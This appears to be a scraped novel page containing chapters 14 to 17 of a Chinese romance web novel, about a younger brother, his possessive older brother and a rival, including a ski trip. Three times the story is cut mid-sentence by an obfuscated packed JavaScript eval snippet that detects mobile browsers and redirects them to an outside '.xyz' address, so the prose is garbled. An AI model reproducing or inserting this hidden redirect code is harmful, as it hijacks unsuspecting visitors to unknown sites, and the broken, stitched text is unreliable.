;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540821|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏逸轩的事,这段时间却接连提了好几次,程知谨怕他多想。 身体撤离后,余温还在。 程揽星顺势倒在床上,薅过被子盖住脑袋。 ———— 两人先后洗了澡,程知谨拿来吹风机,要给程揽星吹头发。 “哥,我自己来吧。” 程知谨按住程揽星的手,滚烫的体温透过一层纱布传递到程揽星身上,让第一次听到他哥表白心意的程揽星更加不好意思,忙缩回手,不知所措地这里摸摸,那里摸摸,直到他哥轻笑了声,才停止这样无厘头的行为。 “哥!” 程知谨眼里的笑意更盛,抚开他额前垂落的一缕头发,看他因为痒意而半闭的眼睛,喉结微动,“没事,我的右手还可以用。” 程揽星只好乖乖地低头,对他哥展露自己最脆弱的部位。 吹风机嗡嗡的声响掩盖了暗流涌动的心思,程揽星的一侧是一面镜子,两人的身影印在里面,若仔细些看,就能发现站立着的那人,眼里汹涌的爱意。 温度适中的暖风吹得程揽星昏昏欲睡,程知谨用左手撑着他,右手小心地给他吹头发,以防他的脑袋乱动,不小心烫着。 吹到耳后时,错眼间,一抹暗红一闪而过。 不太好的预感升起,程知谨关了吹风机,放在床头柜上,让程揽星靠在自己身上,指尖轻颤,缓缓拨开那处的头发。 看到的那一瞬间,程知谨就明白过来这是什么。 也是那一瞬间,他的脑中无数猜测闪过,而无论是哪一种,都让他觉得痛苦。 程知谨的手虚虚按在那个印子上,很想用力掐下去,用尽一切办法把印记去掉,但理智告诉他这是程揽星,不可以做伤害他的事。 怀中的脑袋动了动,似乎觉得这个姿势不太舒服,嘟囔着又找了个地方趴着,双手抱着程知谨,想让他躺下去点。 程知谨这才回神,揉了揉眉心,叹了口气,“星星,你想让我怎么做?” 他替程揽星脱了外套,把他放进被窝。 眼前的睡颜美好得如同天使,从喜欢上他开始,就是程知谨的审判之日。 此刻,嫉妒像一张网慢慢裹住他的心脏,不断收紧的窒息感让程知谨的情绪处于失控的边界。 过了好一会,他明白过来这是危机感,可能会失去程揽星的危机感。 两人在一起的时光很长,长到他刻意去忽视,程揽星以后会结婚,甚至还会和爱人生子。 就像他,为了摆正自己对程揽星扭曲的感情,而随便和别人谈恋爱一般,程揽星也是有可能因为喜欢而和别人在一起。 或许他潜意识里也知道程揽星以后谈恋爱,只不过一直没有真实地面临这种场景,所以他从没有产生过这样的危机感。 而眼下,他心中的警铃大作,心脏像是在被一只大手揉圆搓扁,痛得他几乎要喘不上气。 “星星,那个人是谁?” 程知谨靠着阳台的栏杆上,眉间被淡淡的烟雾笼罩着,他的身旁落了一地的烟头,刚包扎好的地方又添了新的伤口,那处有血渗出,滴在某个只吸了一口的烟头上。 而回答他的,只有寂静的夜空。 14. 进犯 这次程揽星没有睡到日上三竿,梦里长着苏逸轩那张脸的八爪怪追着他跑了好久,黏腻感直到醒来也粘在身上,让人忍不住起鸡皮疙瘩。 窗帘依然紧闭着,为了防止太阳光打扰程揽星睡觉,程知谨早已适应在光线不足的环境下穿衣,也正是因为这样,程揽星养成了需要别人叫他才能起床的坏习惯。 床上的人顶着睡眠不足的脸坐直身体,接着又重重地把头埋进枕头里。 “我就不该来这住的。” 一边祈祷着家里没人,一边小心翼翼地开了条门缝观察房间外的情况,四周静悄悄地,只有家用电器运转的声音。 程揽星忧心忡忡地吃完了早餐,对于眼下的局面,他完全不知道怎么处理才好。 以前遇到不好解决的问题,他都会向程知谨倾诉,而现在的情况,显然是不好告诉程知谨的。 “唉,好烦。” “烦什么?” 苏逸轩拉开程揽星身旁的椅子坐下,顺手抽了张纸巾替受惊的程揽星擦掉嘴角的油渍。 程揽星眨眨眼,下意识当起缩头乌龟。 还没有理清思绪,当事人就出现在他眼前,这种涉及伦理和感情的问题他没有经验,既然暂时想不出解决方法,那就先逃避吧。 逃避虽然可耻,但有用。 “没什么,就是刚刚打游戏打输了。” “我带你。” 程揽星忙摆手,开玩笑,他躲着苏逸轩都来不及了,怎么可能让他带着自己打游戏,打了第一次就会有第二次,谁知道这人肚子里装着什么坏水,别到时候又搞出什么更复杂的情况出来。 一旁的人见他这反应也不恼,笑眯眯地看着程揽星,高大的身躯压下来,带着极强的攻击性,“不想我陪你打游戏,那你就和我出去吧。” 不论是语气,还是表情,都是一副不容置疑的样子。 “我不出去。” 程揽星转开脸,不想被他带到坑里去。 “不出去?在家难道不是更危险?” 说话时的热流喷洒在耳旁,危险感直达心底,程揽星蹭地站起身,却没想被凳子绊了一下,身体跟着向后倒,他微微睁大眼睛,手下意识去抓桌子,但这并不是个很好的选择。 有力的臂膀将他拥入怀中,带起碗筷一阵叮叮当当的撞击声。 苏逸轩微皱眉,语气带着责怪,“小心点。” 程揽星被他抱在怀里,鼻尖顶在纽扣上,声音被压得闷闷的,“还不都怪你。” 头顶上方逸出一声轻笑,这人自有将所有气氛变得暧昧黏稠的魔力,“嗯,我的错。” ———— 被苏逸轩半恐吓半哄骗地带出去后,程揽星谴责了一会罪魁祸首,接着又自己说服自己,去外面也好,苏逸轩肯定不敢在公共场合里动手动脚。 但程揽星太天真,谁说公共场合里就没有利于做坏事的隐蔽场所呢? 苏逸轩带他来的地方是滑雪场。 本来还在兴致缺缺玩手机的人,看到漫山遍野的雪后,差点没忍住直接扑进去。 毕竟,在家乡时,冬天虽然也会下雪,但很少有这样入目全是一片雪白的景色。 绵软的雪铺了一层又一层,脚落实地像踩着更软一点的泡木板,咯吱咯吱作响,四周所有植物都被裹上了银白色的大衣,天空在这样的环境下也亮堂了不少。 程揽星兴奋地吸了好几口冷气,脱下手套捏了一大一小两个雪球,轻轻按压几下,一个小小的雪人初具雏形,端端正正地坐在他的掌心。 “小雪人等着,哥马上帮你把五官画上。” 他从一旁的树上撇了根树枝,对着小雪人的脸比划了几下,再把树枝给它安上。 一个笑脸小雪人就诞生了! 苏逸轩停好车,缓步朝这边走来,远远看见程揽星手上捧着一团白花花的东西,正在上面比划着什么。 走近了些,才发现是个小雪人。 “无聊。” 程揽星觉得这人真扫兴,下雪时最该做的事不就是堆雪人吗?要不是条件不允许,他真想拿着铁锹堆个豪华版雪人。 他把小雪人递到苏逸面前,替它叫屈,“看着它,你还能说得出无聊两个字?” 一大一小两张表达不可置信之意的脸摆在苏逸轩面前,齐齐申讨他毫无情趣。 苏逸轩压住嘴角的笑意,严肃道:“这小雪人和你长得还挺像。” 小雪人被程揽星雕刻得憨态可掬,两颗豆豆眼下,是占据了脸部三分之一的嘴巴,石头鼻子要掉不掉的,两根小短手本来就短了,另一根还在制作的过程中断了一小段,正粘着树皮和苏逸轩打招呼。 “那当然,我可是它哥。” 说这句话时,程揽星眼角眉梢的得意几乎凝成实质,他咧开嘴,摆出和小雪人同款表情,拿出手机和它合照。 住在月亮隔壁:[图片] 住在月亮隔壁:来滑雪啦! 。:[“。”撤回了一条消息] 。:好看 住在月亮隔壁:等会再给你们拍点雪景,可美了! 宿舍群里的其他人大概还没起床,程揽星在群里发完那句话后就退出了聊天框。 苏逸轩站在他一步之外,回神时,手机里多了张满溢明媚笑意的照片。 他盯着那张照片看了许久,片刻后,稍显烦躁地关了手机屏幕,装入口袋。 另一边,程揽星把小雪人放在一棵松树旁固定好,确定不会倒下去后,才走回苏逸轩身边。 苏逸轩自然地牵起程揽星的手,“走吧,我们去拿护具。” 程揽星不想和他牵着手,拜托,大庭广众之下,他们这样拉拉扯扯的像什么样子。 “别乱动,这里路滑,你想摔倒吗?” 昨晚刚下过一场雪,地面只有零星几个脚印,凹陷下去的深度恰好没过鞋跟,程揽星试探着走了几步,没有不着力的感觉,刚想反驳苏逸轩,结果就滑了一下。 苏逸轩一直注意着程揽星,见他快要摔倒,另一只手忙揽住他,两人身形晃了晃,但很快稳定下来,“再这样,我可就不管你了,笨蛋。” 程揽星刚想道谢,听见苏逸轩这样拽到不行的语气,还说他是笨蛋,怒火也跟着上来了,两只手紧紧地扒着苏逸轩,“你带我过来的,那你就要对我负责。” 果然是个笨蛋。 苏逸轩心情大好,起了使坏的心思。 他故意离程揽星远了些,程揽星立刻跟着挪动,致力于让两人零距离,手下的力度都大了些。 “那你可要跟紧了。” 程揽星忙点点头,紧张地注意着脚下。 “还挺听话。” 不枉费他特地绕远路,找了这条最不好走的路。 两人并肩朝服务中心行进,中途苏逸轩几次使坏,光明正大地占程揽星的便宜,偏偏程揽星又无可奈何,只能暗暗发誓以后再也不会和苏逸轩出来玩了。 幸好一路上都没遇到其他过来玩的人。 好不容易到了服务中心,程揽星找了个位置坐着休息,苏逸轩去拿装备,这时候程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540822|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揽星才有时间拿出手机查看消息。 谨:吃早餐了吗? 住在月亮隔壁:吃了,哥,我全都吃完啦。 谨:好,我还有半个小时到家,肚子饿了就先吃点零食垫一垫。 程揽星把这段消息前前后后看了三遍,又计算了一下他和苏逸轩到这个滑雪场花费的时间,确定不能在半个小时以内赶回去后,还是决定实话实说。 住在月亮隔壁:那个,哥,我和逸轩哥出来玩了。 对面的消息栏那块“正在输入中…”浮现了好几回,终于在两分钟后发来新的消息。 谨:在哪? 当时答应苏逸轩出来完全是权宜之计,程揽星没问他打算去干什么,也没有考虑过后续可能出现的各种麻烦,眼下面对这种情况,程揽星欲哭无泪。 住在月亮隔壁:[定位] 住在月亮隔壁:哥,我们过会就回去了。 谨:好。 程揽星摸不准程知谨是什么意思,但苏逸轩已拿好装备过来,便决定把这个事先放在脑后,先玩了再说。 “走吧,我帮你佩戴。” “不用了,我可以自己戴。” 程揽星不明白苏逸轩这样养尊处优的大少爷为什么这么热衷于伺候自己,就算他们家没有夸张到像电视剧里那样按铃就立马闪现的管家和佣人,那也不至于需要他天天帮人穿衣服、擦拭身体吧? “自己弄不方便,再废话你就看着我滑。” “那你不许动手动脚。” 刚才大厅里好歹还有工作人员,现在来了换衣间,还是单人的,程揽星不得不防备一点。 苏逸轩冷哼一声,心想这可由不得你。 这个换衣间其实空间挺大的,但程揽星被苏逸轩逼至角落坐着,在身前人影子的包裹下,倒显得有些逼仄了。 程揽星背抵着墙,暗暗下定决心回去了就报个健身房课程,一定不能再这样,落于下风,还全无反抗的可能。 但这次苏逸轩倒是没有再动手动脚,认真尽责地替程揽星戴好护具,再三确认松紧是否合适。 程揽星刚松了口气,但见他准备来脱自己的鞋子,忙伸手阻拦,“我自己来,你别这也帮我啊。” “别动。” 苏逸轩置若罔闻,握着程揽星的脚踝,不让他乱动,脱下鞋子后,却又不急着给他穿雪鞋,只是用拇指轻轻摩挲着脚踝,眼睛直勾勾地看着程揽星,里面的那轮被灯光投影的漩涡像是要把他吸进去一般。 明明隔着袜子,程揽星却觉得,苏逸轩手掌滚烫的温度直接烙印在了他的皮肤上。 “不是还要穿鞋子吗?快点呀,我有点冷。” “你怎么不叫我逸轩哥了?” 程揽星觉得有点无语,就为了这么点事,至于故意让他受冻吗?但他也不想告诉苏逸轩,是因为自己觉得他出轨了,配不上他哥所以才不叫了。 要是让苏逸轩知道是因为这个理由,说不定能做出把他扔在这的恶劣行径。 “逸轩哥,我们快点去滑雪,好不好?” 苏逸轩愣了愣,嘴角扬起一抹浅笑,但很快又压了下去,速度很快,至少没让眼前这个笨蛋发现。 他戏谑地看着又无意识撒娇的程揽星,手上的力道大了些。 程揽星撇过头,目光慌乱地寻找支点,努力的程度,似乎想在那雪白的墙上找朵花出来。 耳旁落下一个温热的吻,“下次选在这里,留下我的印记,好不好,星星?” 语意不详,但两位当事人心知肚明。 15. 滑雪 两人进去了半个小时,换衣间的门才打开。 屋外寒风吹散了一室春意,内里布局与两人刚进去时别无二致,但目光稍稍拂过,程揽星便觉得那四散的热气又凝成了一团,直往他的脸上扑,连凛冽冬风都吹不走分毫。 程揽星抬手扇动,试图人工降一下温,但奈何手套有点笨重,操作起来不怎么灵便,他解开手套,想等手的温度降下来后充当降温器。 苏逸轩在一旁等着,平日里不怎么发挥作用的耐心此刻十分充足,见程揽星打算摘下手套,才出声询问:“怎么了?” 程揽星没理他,拿手往脸上贴,这热气蒸腾得脑袋运转迟缓,现在和他对话不是个好选择。 上次已经吃过教训了,他才不会在同一个地方跌倒两次。 冬日的风刀子一般,吹到裸露的皮肤上如受刮肉之刑,程揽星的手才拿出来不过半分钟,便被刮得通红。 苏逸轩没得到回答,但看到程揽星的举动也明白了大半,迎面是时起时停的寒风,两人穿戴整齐后,裸露在外的,就只有下半张脸。 “很冷?” 说完也没等人回答,他取下手套,才握上眼前人的双手,就被那冷意恼得眉头紧皱。 苏逸轩握着程揽星的双手揣到兜里,用自己的体温帮他回温,这样的姿势从背后看去,就像是程揽星主动张开双手抱着他一般。 而刚才还在脑内天马行空的程揽星,也被他这一连串动作拉回了注意力。 “……” 他试图把手抽出来,苏逸轩察觉了他的意图,用拇指轻轻地按了按他的掌心,“你这手再吹一会,等会滑雪仗都握不住,看来你更喜欢当观众一点?” 程揽星被这话噎住,虽然他把手拿出来捂脸的意图和苏逸轩想的不一样,但没考虑到这一层,确实是他疏忽了。 凛冽的寒风被苏逸轩挡了个彻底,撞击衣摆时闹出的声响紧贴程揽星的耳膜,倒是让他的思绪清明了不少。 “回暖也可以用别的方法。” 即便是迟钝如他,也知道这样把手揣进别人的兜里取暖是很暧昧的行为。 “别的方法?” 苏逸轩把他口袋里的手套拿出来,帮程揽星佩戴好。 “反正不是这种。” “但这种最有效。” 他抬手捧住程揽星面露纠结的通红脸颊,两人的视线对上,苏逸轩看清了他眼底的情绪,心底也跟着涌上了一阵烦躁之意,“想这么多干嘛,不累吗?” “但……” “行了,去滑雪吧。” 这股烦躁感来得莫名其妙,苏逸轩深吸一口气,走到一旁,平复自己的情绪。 雪地里时常会留有意想不到的惊喜,苏逸轩看着眼前被雪覆了一层的圆滚滚,脑中闪过藏在手机里的那张照片。 他不可抑制地想拿出来再看一遍,察觉这一意图后,烦躁感愈盛,不免头痛地闭上眼睛。 等他整理妥当,却见程揽星正抱着雪板往换衣间的方向走。 ———— 被苏逸轩打断说了一半的话后,程揽星也没了再和他辩驳的想法,滑雪才是现在的主要任务,他想得很开。 方才还有些郁闷的情绪,一点点被自我开导驱散。程揽星放好雪板,兴致高涨,准备在滑雪场上大杀四方。 “等着吧,我马上就来表演一个帅气的滑行入场!” 先前在车上他看过一些滑雪新手入门教程,自认理论知识已足够丰富,但摆弄了半天,却连雪板都没穿成功。 “没事,第一次失败很正常。” 程揽星将雪板挪到一旁更为平坦的地方,确认好落脚的顺序,握紧手中的滑雪仗,开始第二次的尝试。 但平常的鞋子踩在雪上都会打滑,何况他穿的还是雪鞋,连摔了几回后,他还是放弃了在雪地里穿上雪板的想法。 没关系,第二步的成功也是成功。 程揽星捡起雪板和雪仗,抱在怀里,准备去换衣间试试。但穿着雪鞋不好行动,走了半天也才挪了小段距离。 苏逸轩在一旁穿好雪板,就见程揽星像小企鹅一样,扭动着想要去换衣间,不禁有些烦闷。 就这么不愿意和他呆在一起吗? 程揽星还在吭哧吭哧前进,眼前突然扬起一阵雪,苏逸轩从身后漂移过来,停在他面前。 “又怎么了?” “好酷!” 苏逸轩滑的是单板,相比双板来说更加灵活,滑行也更加炫酷。 听到程揽星这由衷的称赞,苏逸轩的情绪滞了一瞬,复又皱起眉,“你去换衣间干什么?” 程揽星晃晃手中的雪板,语气难掩丧气,“去穿雪板。” 围绕在苏逸轩身侧的低气压散了些,他拿过程揽星怀中的滑雪用具,扔在一旁。 “不用穿了。” “什么意思?” 苏逸轩倾身抱起他,嘴角噙笑,眼底满是狡黠,“我带着你滑。” 程揽星没想到苏逸轩会来这一出,双手忙环住他的脖子,说话时的热气喷洒在皮质衣领上,留下浅浅的白痕,很快又被低温抹去。 “抱紧了。” 随着话音落下,程揽星只感觉到一阵呼啸的冷风从身边刮过,接着便是高速行进所带来的天旋地转,他惊呼一身,双手攀附的力度更大了些。 即使闭着眼睛,那种失重感也时刻缠绕着他,恐惧感寸寸爬满皮肤,一念生死,全然取决于抱着他的男人。 这一瞬间,程揽星想了很多。 要是这时候出意外,那他的学历就永远停留在高中了。 死因是滑雪时不慎摔死,到时候程旭那个狗东西不知道会怎么嘲笑他,而且他还没让哥和爸妈和好呢,要是他不在了,他们肯定就老死不相往来了,怎么办…… “别怕,星星,睁开眼睛。” 风声包裹着两人,让声音更清晰地传入程揽星的耳中,打断了他漫无边际的“死前走马灯”。 明明是平时听来讨厌的声音,在这种情况下,却让程揽星产生了安全感,不知不觉间就顺从地睁开了眼睛。 入目仍是一片雪白,但与在准备区所看到的景色略有不同。 两人滑行的速度很快,四周所有被掩埋在白雪下的景物都在倒退,偶尔划过的绿色小点,是在荒芜之中悄然挺立的来年生机。 失重感依然还在,但不同于初时的恐惧感,心脏像飘在云朵上一般,被抛起,又被身后的人牢牢接住。 肾上腺素不断随失重感飙升,刺激得程揽星想朝着远处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程揽星没让苏逸轩带着自己滑第二遍。 他乘着斜行电梯回到准备区,想去找自己的雪板和雪仗。 苏逸轩跟在他身后,在程揽星每次快要摔倒时伸手扶住他。 程揽星不吝啬于说“谢谢”,但也仅止于这两个字。 滑雪用具所在的地方离斜行电梯不算远,但程揽星走得艰难,苏逸轩便也慢慢地跟在不远处。 等寻到了雪板和雪仗,程揽星开始第四次尝试,情况比前几次稍微好点,但也只是稍微好点。 第五次摔倒时,一双先前抱过他的手揽住他,借着支撑的力道,程揽星终于在第六次时成功穿好雪板。 “你那样,是什么意思?” 这回程揽星没再说“谢谢”。 有了雪板的加持,程揽星得以与苏逸轩平视。 至少气势上不会落于下风了。 苏逸轩眼里的情绪明明灭灭,眉头随时间的流逝慢慢聚起,他很想点一支烟,可这破地方连火都燃不起来。 “你还记得我上次说的,要威胁你吗?” 程揽星不知道他提起这件事干什么,只当他为了转移话题,但还是乖乖地点了点头。 四周又吹起了风,穿过雪林,激起此起彼伏的簌簌声,苏逸轩的声音自其中穿透而出。 “别抗拒我。” 16. 认清 程揽星在滑雪场玩得很尽兴,跨过初期穿雪板不顺利这道坎后,他在初级雪道试了两遍,很快便能自如地在场内滑行。 苏逸轩跟在不远处,目光一直落在程揽星身上。 前方那人情绪高涨,现在正是玩到兴起时,完全不知道什么叫疲倦。 程揽星很有天赋,失误的次数很少,但只要有控制不住雪板的苗头出现,苏逸轩便会滑到他前面。刚开始苏逸轩接住他时,他还表现得有些别扭,之后就坦然了许多。 某次苏逸轩未来得及接住快要摔倒的人,心脏随着程揽星滑行的停止而被紧紧揪起,等到加速奔至他的身边,却见程揽星正把手从雪里拔出来,脸上不是他所预想的懊恼。 可能滑雪时摔倒,对于他来说也是丰富这趟旅程的经历吧。 苏逸轩猜得不错。 滑雪板不受控制的那一刻,程揽星心里确实有过慌乱,前方没人展开双臂接住他,只有压雪车在场内工作后积压下的半人高的雪堆。 但很快,他就坦然接受了即将扎进雪堆里的现实,扔下手中的雪仗。 等到身体完全停止移动后,他埋在雪里,脑内名为兴奋的小人不停舞动,与冰冷雪堆亲密接触的脸蛋也克服了低温难关,在情绪的刺激下迅速染上红晕。 他把两只手从雪里抽出来,拍掉上面残留的雪渣。 正巧苏逸轩也到了。 他把右手递出去,“逸轩哥,可以拉我一把吗?我站不起来了。” 苏逸轩握住他的手,还未来得及使力,便被程揽星往下用力一拉,身体失去平衡,跟着一起倒在了雪地里。 耳旁传来一阵大笑,苏逸轩转过头去,正好撞进程揽星满溢星光的眸子里,他冲苏逸轩眨眨眼,得意道:“你滑雪是不是没有摔倒过?现在体验了一下,感觉怎么样?” 苏逸轩也跟着笑,他抬起头,示意程揽星把手收回去。 他戴着头盔,摔下来时不至于撞到脑袋。 “感觉还不错。” 两人对视一眼,程揽星把头转回去,看着澄澈的天空傻乐,为恶作剧成功,也为小小地报复了苏逸轩一把。 苏逸轩看着他,嘴角微扬,眼底的笑意越来越浓。 四周的风声渐缓,直至完全安静下来,白茫茫一片的雪地里,唯剩两个小黑点。 两人到底不是钢筋水泥做的,躺了一会,苏逸轩站起身,朝程揽星伸出手。 “你不怕我又把你拉下来?” 苏逸轩竟然开始认真地思考起这个问题,他没把手收回去,但也没立马回答。 程揽星觉得有些无聊,抓了一把雪,用手团成一团,放在苏逸轩摊开的手掌里,但由于角度问题,雪团很快便被重力吸引,重新落入雪堆里。 “我开玩笑的,你怎么还真考虑起来了。” 这时,苏逸轩结束了思考,他蹲下身,认真道:“没事,你拉吧。” “你认真的?” 程揽星微微睁大眼,这话也太不符合他的性格了吧。 苏逸轩点点头,再次把手伸出来,“这次我摔在你怀里,怎么样?” “……” 就知道,这人肚子里全是坏水。 程揽星在心里翻了个白眼,握住他的手,借力站起身。 在地上躺了一会,运动时所产生的热量散了个干净。程揽星拍掉身上的碎雪,从口袋里掏出手机,看了眼时间。 快七点了。 也差不多是时候回去了。 “我们回去吧。” 苏逸轩点点头,他的本意也是这时候回去。 刚才在雪地里躺了一会,他倒是没什么问题,就怕程揽星再吹风会受寒。 两人并肩向服务中心走去。 苏逸轩看他走得艰难,想抱着他过去,被程揽星严词拒绝了,只接受他一条胳膊的帮助。 一路上,两人之间的交流并不多,大概是后劲上来了,程揽星的神色有些疲惫。 这样的安静时刻,不由得让苏逸轩想起他说完“威胁”后,两人的对话。 “你为什么要出轨?” 苏逸轩心里那点将熄未熄的躁意又被这句话挑起,他压着脾气,语调沉沉,“这么在意?那你当时怎么不问问我?” 程揽星闻言头皮一阵发麻,“你当时也没给我机会问啊。” 几乎是同一时刻,两人都想到了那个吻,僵滞的气氛陡然暧昧了几分,程揽星的脸也跟着红了一个度。 苏逸轩的躁意被压下些许,他在脑中思索自己的情绪为什么会有这样的变化,开口时语气轻浮了许多,“难道你觉得我会看上那样的庸脂俗粉?” 程揽星没说话,这样的反应看在苏逸轩眼里,和肯定答复也无异了。 他轻啧了声,“我的眼光没那么差。” 说完这句话后,他的目光落在程揽星身上,内里的火热若能凝成实质,那眼前人的衣服必定被他烧了个精光。 但程揽星现在处于震惊的情绪中,倒没有发觉他的过火目光。 “那你当时怎么不说?还、还……” 苏逸轩饶有兴致地看他通红着脸“还”了半天,却再憋不出下一个字。 “还什么?还亲了你?还是还揉了……” “啊!停!别说了!” 程揽星撑起雪仗,凭着一瞬间激发出的潜力滑到五米外,隔着距离朝这边喊,“你离我远点。” “好,保证离你远点。” 苏逸轩噙着笑,踩着雪板慢悠悠滑过去,激起程揽星进一步的逃离,在离他还剩两米时,苏逸轩停住了滑行。 他摘下手套,抬手摸了摸嘴角,等重新戴好手套时,嘴角的笑意已被敛回。 可外化的开心能被掩盖,内里的情绪却骗不了他自己。 苏逸轩对着天空长出一口气,认命般接受了自己的情绪会被那正忙着躲他的人所操控这一事实。 ———— 两人卸下护具和雪鞋,回到服务大厅,把东西归还给前台工作人员。 做完这些事后,程揽星现下只想寻个地方坐一会,等走到休息区,却看到了一个意料之外的人。 程知谨坐在角落的排椅上,神情有些疲惫,一旁放着一杯还在冒着热气的咖啡,他握着手机,眼底情绪沉沉。 “哥,你怎么来了?” 从c市过来要一个多小时呢。 程知谨循声抬头,视线扫过一旁的苏逸轩,落在程揽星身上时,柔和了许多。 “我来接你回家。” 苏逸轩脱下手套,走到程揽星前面,目光扫过程知谨放在一旁的咖啡,又启动了他的嘲讽系统,“我会送星星回去,你控制欲也太强了点,就不怕疲劳驾驶出什么事故?” 程揽星见他这样口无遮拦,忙探出头来,焦急道:“你说什么呢,这话不吉利,快呸呸呸。” 苏逸轩把他的脑袋按回去,表示这事没商量,太掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为工作需要加班的缘故,程知谨常用黑咖啡来提神,倒也说不上喜欢,只是一种用来提高工作效率的工具。 “那我回去了尝尝。” 程知谨抬手揉他的头发,“不好喝,很苦。” 说这句话时,他的语气很平,只是为了陈述一个事实,无端地,程揽星觉得有点难过。 “哥,下次我们一起去滑雪吧?” “嗯,好。” 程揽星勾勾程知谨的小拇指,“我们拉钩。” “好,拉钩。” ———— 苏逸轩不知道去服务台那和工作人员说了什么,回来时手上拿着一袋面包,把程揽星从毛绒手套里揪出来,“干什么呢?” 程揽星摇头。 苏逸轩把面包递给他,“这里吃的不多,我问了工作人员,面包最顶饱,你先将就着吃吧。” “谢谢。” 冬天的夜晚总是降临得很快,在三人说话的间隙里,室外的路灯就已亮了起来。 程知谨抬眼看了看窗外,走向两人,他看着程揽星,话却是对苏逸轩说的,语调冷淡,“我现在带他回去。” “谁说没事了?” 程知谨皱眉,“有事也以后再说。” “揽星刚才和我滑雪很开心,我准备带他再滑几圈。” “他累了,需要休息。” “你怎么知道他不想再玩一会?” “苏逸轩,不要把你个人的想法强加在别人身上。” “……” 两人之间的气氛实在算不上好,程揽星从他哥身后探出头,小声插嘴,“那个,我饿了,我们先去吃饭好不好?” 说完眨了眨眼,一脸无辜。 17. 点烟 才驶出几百米,程揽星就在车上睡着了,程知谨和苏逸轩见此,意见难得达成一致,行至山脚转道直接回c市。 苏逸轩当着两人的面扔了车钥匙,还能脸不红心不跳地说自己的车钥匙掉了。 程揽星忍不住感叹要是他有苏逸轩这样强大的心理素质,那做什么都能成功了。 程知谨倒是没什么反应,对于苏逸轩这样的行事作风,他早已见怪不怪。 车内空气沉闷,睡梦中的人动动身子,想找个舒服点的地方,一旁伸过来一只修长有力的手,扶过他的脑袋,轻轻靠在自己的肩膀上。 “你想做什么?” 苏逸轩抬起头,与后视镜里那双冷厉的眼睛对上视线。 “还能做什么,如你所见。” 正值红灯读秒,程知谨转回视线,“你知道我是什么意思。” “你确定要在这里谈论这个话题?” 苏逸轩意有所指,视线扫过身前的人,见程揽星眉头微皱,他放低身子,好让程揽星躺得更舒服点,但这样的后果就是,两条长腿折叠着,摆出一个不太好受的姿势。 “如果是因为我之前拒绝了你,那你的报复对象也应该是我才对。” 这话说得有些不近人情,程知谨察觉后,又道:“不过我并不认为拒绝你有什么问题。” “……” 苏逸轩嗤笑一声,“你想多了,而且我没你想的那么睚眦必报。” 程知谨还待说些什么,车内的第三人不知梦到了什么,嘟囔了几句,气氛瞬间凝重。 等确定程揽星只是在说梦话后,两人才松了口气。 这次噤声后,没人再开口。 ———— 程揽星醒来时,首先映入眼帘的,是程知谨价格不菲的西装布料,程知谨有强迫症,所有衣服都被熨烫得没有一丝褶皱。 程揽星的大脑还未发出下一步指令,他的脸就在西装上滚了一圈,留下几道突兀的折痕。 “醒了?” 程揽星赶紧停止动作,乖乖趴在程知谨身上,装作无事发生,见他哥没再出声,虚虚睁开一只眼睛,偷看他哥的反应,却不想正对上程知谨满含笑意的眼睛。 他连忙打了个呵欠,揉揉眼睛,尽量自然地表演出自己真的是刚刚才睡醒的样子。 程知谨也不拆穿他,只是含笑看着他整理头发,眼睛不自然地四处看,像只被人吓到后,强撑场面的小刺猬。 这么一打量,程揽星才发现地下车库里只有他们两个人。 “逸轩哥呢?怎么没看到他?” 听到这个名字后,程知谨的神色明显冷了一些,“他回家了。” 很显然这个家不是他们现在住的那个。 “哦,好吧。” 不正常,这俩人一点也不正常。 程揽星想起自己撞见苏逸轩‘出轨’时的对话,他似乎并不害怕自己将这个消息告诉程知谨。 虽然现在他知道了这只是个误会,但如果按正常情况来讲,当时苏逸轩的第一反应难道不是和他解释吗? 他那时的行为怎么想都是冲着把事情越搞越大去的吧。 而且他哥对苏逸轩的态度也十分微妙。 好像过于冷淡了。 思及此,脑中闪过几个模糊的字眼,似乎是他睡觉时,程知谨和苏逸轩发生的对话片段。 程揽星皱起眉,努力回想,意图抓住那些片段。 但越是想要追上它们,结果却是离得越来越远。 行至广角镜处,程揽星翘起的那撮头发被放大,视线瞥过,程揽星暂时放下思考,用手将它们按下,但放开后又翘起。 这么几个来回后,程知谨抬手压在他的脑袋上。 “头发长长了。” 程揽星上一次剪头发还是刚来c市,眨眼间他已经在c市呆了大半年。 “哥,我有点想爸妈了。” 离家这段日子里,程揽星其实很少会想爸妈,但有时候人的情绪会在瞬间被一句不经意的话、一个平常的天气,甚至是一片落叶所挑起。 程知谨沉默片刻,抬手摸摸他的脸,“别难过,过年就能回去了。” “可是还有好久才过年。” 程揽星其实很想问一句“那你和我一起回去过年吗”,但看着他的表情,程揽星就知道会得到什么答案。 